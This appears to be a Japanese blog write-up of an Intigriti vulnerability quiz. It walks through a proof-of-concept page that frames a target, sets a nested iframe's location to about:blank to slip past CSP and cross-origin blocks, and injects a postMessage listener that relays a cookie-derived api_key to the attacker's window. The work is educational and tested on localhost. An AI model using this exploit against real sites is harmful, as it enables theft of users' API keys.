【脆弱性クイズ】iframeのlocation
またまたintigriti社の脆弱性クイズです。今回は以前書いた記事以上によく分からなかったです。
前回の記事はこちら → https://zenn.dev/k41531/articles/e7498612cabe05
クイズの概要
index.html
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'unsafe-inline';">
</head>
<script>
setTimeout(() => {
const value = `; ${document.cookie}`;
const parts = value.split(`; api_key=`);
let api_key = parts.pop().split(';').shift();
frames[0].postMessage({'api_key' : api_key}, '*');
}, 1337)
</script>
<iframe src="verify_api_key.html"></iframe>
verify_api_key.html
<script>
function verify_api_key(api_key) { /* REDACTED */}
onmessage = (e) => {
verify_api_key(e.data.api_key);
}
</script>
上記は、index.htmlのiframe内でverify_api_key.htmlを読み込み、cookieから取得したapi_key
の情報をverify_api_key.htmlにPOSTで送信して検証しているWebアプリのサンプルです。
これに対して何らかの攻撃を行い、api_keyの情報を窃取せよというのが課題でした。
私は上記のコードをローカル環境で動かして試してみました。
python -m http.server
http://127.0.0.1:8000
解答
こちらが解答動画ですが、見ただけでは理解が出来なかったので、順を追って理解していきます。
攻撃のとっかかり
今回の問題は入力する場所がないので手が出せそうにないのですが、「index.htmlをiframe化してしまえば良い」と次のペイロードが示されました。
poc.html
<script>
function poc() {
setTimeout(_ => {
frames[0][0].document.write(
`<script>
onmessage=function(e) {
top.postMessage(e.data, '*')}
<\/script>`)
}, 100)
onmessage = function(e) {
alert(e.data.api_key)
}
}
</script>
<iframe src="http://127.0.0.1:8000" onload="poc()"></iframe>
攻撃用のコードも動かします。ただ、こちらは違うオリジンにしないといけないのでポートを変えました。
python -m http.server 7777
http://127.0.0.1:7777/poc.html
このコードではiframe
タグでターゲットのURLが指定されています。index.htmlが読み込まれたらpoc
関数を実行します。
setTimeOut関数は指定した時間後コールバック関数を呼び出すもので、今回は100ms後に呼び出されます。
次の内容が重要です。
framesはそのページ内のフレームを表します。よって、frames[0][0]は最初のフレームの中の最初のフレームを指すことになり、ここではpoc.htmlの中にあるindex.htmlの中にあるverify_api_key.htmlを指します。
そして、document.write
を使ってスクリプトを書き込んでいます。onmessage
はpostMessage()で送られたメッセージを受け取ります。
最後に、top
でウィンドウオブジェクトの階層における最上位のウィンドウ(poc.html)を指すため、top.postMessage()
でpoc.htmlに対してメッセージを送るようにします。
ただ、これではうまくいきません。
CORS
CORSによってあるサイトから別のサイトへのオブジェクトのアクセスは禁止されているため、documentへのアクセスが拒否されています。
Uncaught DOMException: Permission denied to access property "document" on cross-origin object
それでは、frames[0][0].locationを変更することで、同じサイトであるように見せかけます。framse.locationは書き換えが可能なようです。
<script>
function poc() {
frames[0][0].location = "http://127.0.0.1:7777"
setTimeout(_ => {
frames[0][0].document.write(
`<script>
onmessage=function(e) {
top.postMessage(e.data, '*')}
<\/script>`)
}, 100)
onmessage = function(e) {
alert(e.data.api_key)
}
}
</script>
<iframe src="http://127.0.0.1:8000" onload="poc()"></iframe>
しかし、ここではCSPでdefault-src 'self'
を指定しているためこちらもブロックされます。
Content Security Policy: The page’s settings blocked the loading of a resource at http://127.0.0.1:7777/ (“default-src”).
ただ、一つだけ抜け道があり、locationにabout:blank
と指定するとCSPの違反にならなくなるようです。
<script>
function poc() {
frames[0][0].location = "about:blank"
setTimeout(_ => {
frames[0][0].document.write(
`<script>
onmessage=function(e) {
top.postMessage(e.data, '*')}
<\/script>`)
}, 100)
onmessage = function(e) {
alert(e.data.api_key)
}
}
</script>
<iframe src="http://127.0.0.1:8000" onload="poc()"></iframe>
これで、poc
関数が正しく実行されapi_keyを盗むことができます。
Discussion